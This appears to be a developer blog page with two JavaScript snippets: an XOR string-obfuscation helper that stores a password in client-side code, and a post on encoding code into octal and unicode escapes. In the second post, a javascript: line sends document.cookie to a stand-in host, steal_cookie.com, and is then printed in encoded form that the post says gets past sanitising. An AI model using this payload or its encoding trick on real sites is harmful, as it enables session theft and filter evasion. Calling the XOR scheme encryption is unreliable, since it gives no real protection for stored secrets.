JavaScript Ninja – String Encryption, Easily!

  • Keeping some data in your JavaScript source, is unavoidable,
    it is best to keep it at-least, somewhat obfuscated.
  • Here is a simple string encrypt/decrypt function.
  • First run the function with your plain-text, to encrypt it.
    Next, store both the function and the encrypted text in your source-code.
    Need the plain-text again?
    Run the function again, but this time: on your encrypted text!
    to get the plain-text back.
  • The function is added to the String prototype for an easy access.
  • The Code:

    String.prototype.normalise_to_ascii   = function(){return unescape(encodeURIComponent(this)); }
    String.prototype.normalise_to_unicode = function(){return decodeURIComponent(escape(this));   }
    
    String.prototype.crypt_symmetric = function(key){
      var me = this + "";                                             //unlink reference
    
      key = Number(String(Number(key))) === key ? Number(key) : 13;   //optionaly provide key for symmetric-like-""encryption"".
    
      me = me.split('')                                               //to array of characters.
             .map(function(c){return c.charCodeAt(0);})               //to array of numbers (each is character's ASCII value)
             .map(function(i){return i ^ key;        })               //XOR ""ENCRYPTION""
             ;
      me = String.fromCharCode.apply(undefined, me);                  //one-liner trick: array-of-numbers to array-of-characters (ASCII value), join to single string. may result in buffer-overflow on long string!
      return me;
    };
    
  • Examples:

    • "hello".crypt_symmetric();
      will result with ehaab.
    • "שָלוֹם".crypt_symmetric();
      will result with פֵבטִא.

    Optionally keep your characters in the ASCII range,
    by .normalise_to_ascii() and bring them back
    to Unicode using .normalise_to_unicode().

    The explanation “why it is required?” is a bit long,
    so it is up to you if it is needed or not.

    Basically, since XOR creates a little character-shift,
    You might end up with a “control-character”, that might make your code looks ugly,
    at this case you can always use "YOUR_STRING".crypt_symmetric().normalise_to_ascii() and btoa,
    to keep it as a BASE64 string,
    followed by atob and "YOUR_STRING".normalise_to_unicode().crypt_symmetric() to restore it :]

  • Yes. The same function acts as an ecryptor and as a decryptor.
    It uses a very simple symmetric-encryption using XOR and a key,
    which by default is 13, but you may, optionally, provide your own key (number).
  • You are provided with some-what longer function,
    to help you visualise the steps, and simplified your understanding.
    Feel free to modify, minify the base structure to make it more/less complex to your needs… :]

    • Best to keep it simple though.

also available on this gist:
https://gist.github.com/eladkarako/738ff6791dd2e44baeb5787851f874d5


A slightly minified version of the same, as above..

String.prototype.norm_to_ascii=function(){return unescape(encodeURIComponent(this))};
String.prototype.norm_to_unicode=function(){return decodeURIComponent(escape(this))};
String.prototype.crypt_sym=function(k){return String.fromCharCode.apply(undefined,this.split("").map(function(c){return c.charCodeAt(0)^(k||13)}))};

//do this manually
btoa("password".norm_to_ascii().crypt_sym());
//get "fWx+fnpif2k="
//store "fWx+fnpif2k=" in your code along with those 3 functions above.
//
//when needed the value, run:
atob("fWx+fnpif2k=").norm_to_unicode().crypt_sym()
//get "password"
//....done....

Continue reading

JavaScript Character Encoding As Spoofing, Or Malicious Injections That Are 100% executable, But Totally Unreadable

function string_to_octal(string){
  return string.replace(/./g, function(char, index, whole){
    return 256 > char.charCodeAt(0) ? "\\" + ('0' + char.charCodeAt(0).toString(8)).slice(-3) : unicode_to_string(char);
  });
}
function string_to_unicode(string){
  return string.replace(/./g, function(char, index, whole){
    return "\\u" + ('0000' + char.charCodeAt(0).toString(16)).slice(-4);
  });
}
function unicode_to_string(string){
  return string.replace(/[\u0000-\uffff]/g, function(char, index, whole){
    return String.fromCharCode(char.charCodeAt(0).toString(10));
  });
}

test it..
for javascript:(function(){var img = new Image(); img.src="https://steal_cookie.com?cookie=" + encodeURIComponent(document.cookie); return true;}());

either the “prefer octal over unicode”: "\152\141\166\141\163\143\162\151\160\164\072\050\146\165\156\143\164\151\157\156\050\051\173\166\141\162\040\151\155\147\040\075\040\156\145\167\040\111\155\141\147\145\050\051\073\040\151\155\147\056\163\162\143\075\042\150\164\164\160\163\072\057\057\163\164\145\141\154\137\143\157\157\153\151\145\056\143\157\155\077\143\157\157\153\151\145\075\042\040\053\040\145\156\143\157\144\145\125\122\111\103\157\155\160\157\156\145\156\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051\073\040\162\145\164\165\162\156\040\164\162\165\145\073\175\050\051\051\073" (which most of ASCII based code will work quite unify with..)
or just “100% unicode encoding”: "\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0076\u0061\u0072\u0020\u0069\u006d\u0067\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0049\u006d\u0061\u0067\u0065\u0028\u0029\u003b\u0020\u0069\u006d\u0067\u002e\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0073\u0074\u0065\u0061\u006c\u005f\u0063\u006f\u006f\u006b\u0069\u0065\u002e\u0063\u006f\u006d\u003f\u0063\u006f\u006f\u006b\u0069\u0065\u003d\u0022\u0020\u002b\u0020\u0065\u006e\u0063\u006f\u0064\u0065\u0055\u0052\u0049\u0043\u006f\u006d\u0070\u006f\u006e\u0065\u006e\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0029\u003b\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0074\u0072\u0075\u0065\u003b\u007d\u0028\u0029\u0029\u003b"

running the following will have same meaning, and it will not actual needed to be translated back, it is totally 100% executable code, but (naturally) a bit more hard to read..
but it DOES sanitize successfully since the character encoding does not differentiate any of the char meaning (other then escaped string – string manipulation).

the idea is that you do not need any conversion-matrix tables, or encrypt/decrypt methods (or any intermediate over just evaluating the string).